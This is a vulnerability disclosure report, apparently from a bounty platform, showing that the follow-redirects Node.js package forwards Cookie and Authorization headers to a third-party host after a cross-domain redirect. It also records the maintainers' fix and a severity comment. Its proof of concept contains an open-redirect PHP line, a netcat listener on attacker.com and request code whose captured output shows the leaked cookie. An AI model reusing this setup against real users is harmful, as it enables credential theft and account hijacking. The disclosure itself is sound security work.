Exposure of Private Personal Information to an Unauthorized Actor in follow-redirects/follow-redirects


Reported on

Jan 5th 2022


Cookie header leaked to third party site and it allow to hijack victim account


When fetching a remote url with Cookie if it get Location response header then it will follow that url and try to fetch that url with provided cookie . So cookie is leaked here to thirdparty.
Ex: you try to fetch example.com with cookie and if it get redirect url to attacker.com then it fetch that redirect url with provided cookie .
So, Cookie of example.com is leaked to attacker.com .
Cookie is standard way to authentication into webapp and you should not leak to other site .
All browser follow same-origin-policy so that when redirect happen browser does not send cookie of example.com to attacker.com .


if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/ .

First setup a webserver and a netcat listner


header("Location: $url");

/* Make sure that code below does not get executed when we redirect. */

netcat listner in http://attacker.com

nc -lnvp 8182


run bellow code

const { http, https } = require('follow-redirects');
const data = JSON.stringify({
    name: 'John Doe',
    job: 'DevOps Specialist'

const options = {
    protocol: 'http:',
    hostname: 'mysite.com',
    port: 80,
    path: '/redirect.php?url=http://attacker.com:8182/mm',
    method: 'GET',
    headers: {
        'Content-Type': 'application/json'
        ,'Cookie': 'dsf=sdf',
        "Authorization":"Basic dsfddsf"

const req = http.request(options, (res) => {
    let data = '';

    res.on('data', (chunk) => {
        data += chunk;

    res.on('end', () => {

}).on("error", (err) => {
    console.log("Error: ", err.message);


response received in attacker netcat

Connection from 56060 received!
GET /mm HTTP/1.1
Content-Type: application/json
Cookie: dsf=sdf
Host: localhost:8182
Connection: close

here see in this response ,it leaked cookie to thirdparty site attacker.com when redirecting .

So, here i provided cookie for mysite.com but due to redirect it leaks to thirdparty site attacker.com

As the redirect happen automatically via follow-redirects, user cant control where to send cookie or where to not sent .
If cookie is provided then cookie will be sent to any redirect url either it same domain url or not .\


If provided url domain and redirect url domain is same then you can only send cookie header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie header.

We are processing your report and will contact the follow-redirects team within 24 hours. 23 days ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 22 days ago
Ruben Verborgh validated this vulnerability 21 days ago
ranjit-git has been awarded the disclosure bounty
The fix bounty is now up for grabs
Ruben Verborgh confirmed that a fix has been merged on 8b347c 18 days ago
Ruben Verborgh has been awarded the fix bounty
Ruben Verborgh
14 days ago


Regarding risk severity assessment (and notwithstanding the correctness of the vulnerability report) I want to note that the number of cases where the Cookie header will be used with follow-redirects is relatively low. The Cookie header is mainly relevant in browser-based scenarios, and follow-redirects is typically not used within the browser, but replaced by its native browser equivalent that would have such protections in place. So I expect occurrences of Cookie to be low, and the number of cases where an actual cross-domain redirect happens is an even smaller subset thereof.